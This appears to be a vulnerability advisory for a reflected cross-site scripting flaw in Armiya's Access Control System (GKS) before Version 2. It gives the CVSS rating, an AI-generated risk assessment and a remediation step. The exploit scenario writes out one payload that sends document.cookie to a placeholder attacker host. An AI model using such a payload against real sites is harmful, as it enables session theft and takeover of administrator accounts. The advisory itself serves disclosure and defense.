EUVD-2026-42016
GHSA-mfw3-p4vm-vmhx
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Network-delivered reflected XSS with no auth required, user click needed, browser context changed; no server availability or confidentiality impact beyond session data.
Primary rating from Vendor (TR-CERT).
CVSS VectorVendor: TR-CERT
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Lifecycle Timeline
1DescriptionCVE.org
Improper neutralization of Script-Related HTML tags in a web page (basic XSS) vulnerability in Armiya Information Technologies Ltd. Co. Access Control System (GKS) allows XSS Targeting HTML Attributes.
This issue affects Access Control System (GKS): before Version 2.
AnalysisAI
Reflected XSS in Armiya Information Technologies' Access Control System (GKS) allows unauthenticated remote attackers to inject script-bearing HTML attributes into web pages served by the application, executing arbitrary JavaScript in the context of a victim's browser. All versions prior to Version 2 are affected, as reported by TR-CERT via Turkey's national cybersecurity authority. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that a victim user - most meaningfully an authenticated GKS operator or administrator - click or otherwise trigger a crafted URL while their browser has an active session to the GKS web interface. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 base score of 6.1 (Medium) is consistent with a reflected XSS requiring user interaction (UI:R), which meaningfully limits opportunistic mass exploitation. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker identifies an organization running GKS before Version 2 and discovers a parameter whose value is reflected unsanitized into an HTML attribute in the response. The attacker crafts a URL containing an attribute-breaking payload such as `" onmouseover="fetch('https://attacker.example/steal?c='+document.cookie)` and delivers it to a GKS administrator via phishing email or malicious link. … |
| Remediation | The primary fix is to upgrade to Access Control System (GKS) Version 2 or later, which resolves the improper HTML attribute neutralization identified in this advisory. … Detailed patch versions, workarounds, and compensating controls in full report. |
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Stored cross-site scripting in Armiya Information Technologies' Access Control System (GKS) versions before 2 allows an
Reflected cross-site scripting in Armiya Information Technologies' Access Control System (GKS) before Version 2 allows a
Same weakness CWE-80 – Basic XSS
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External POC / Exploit Code
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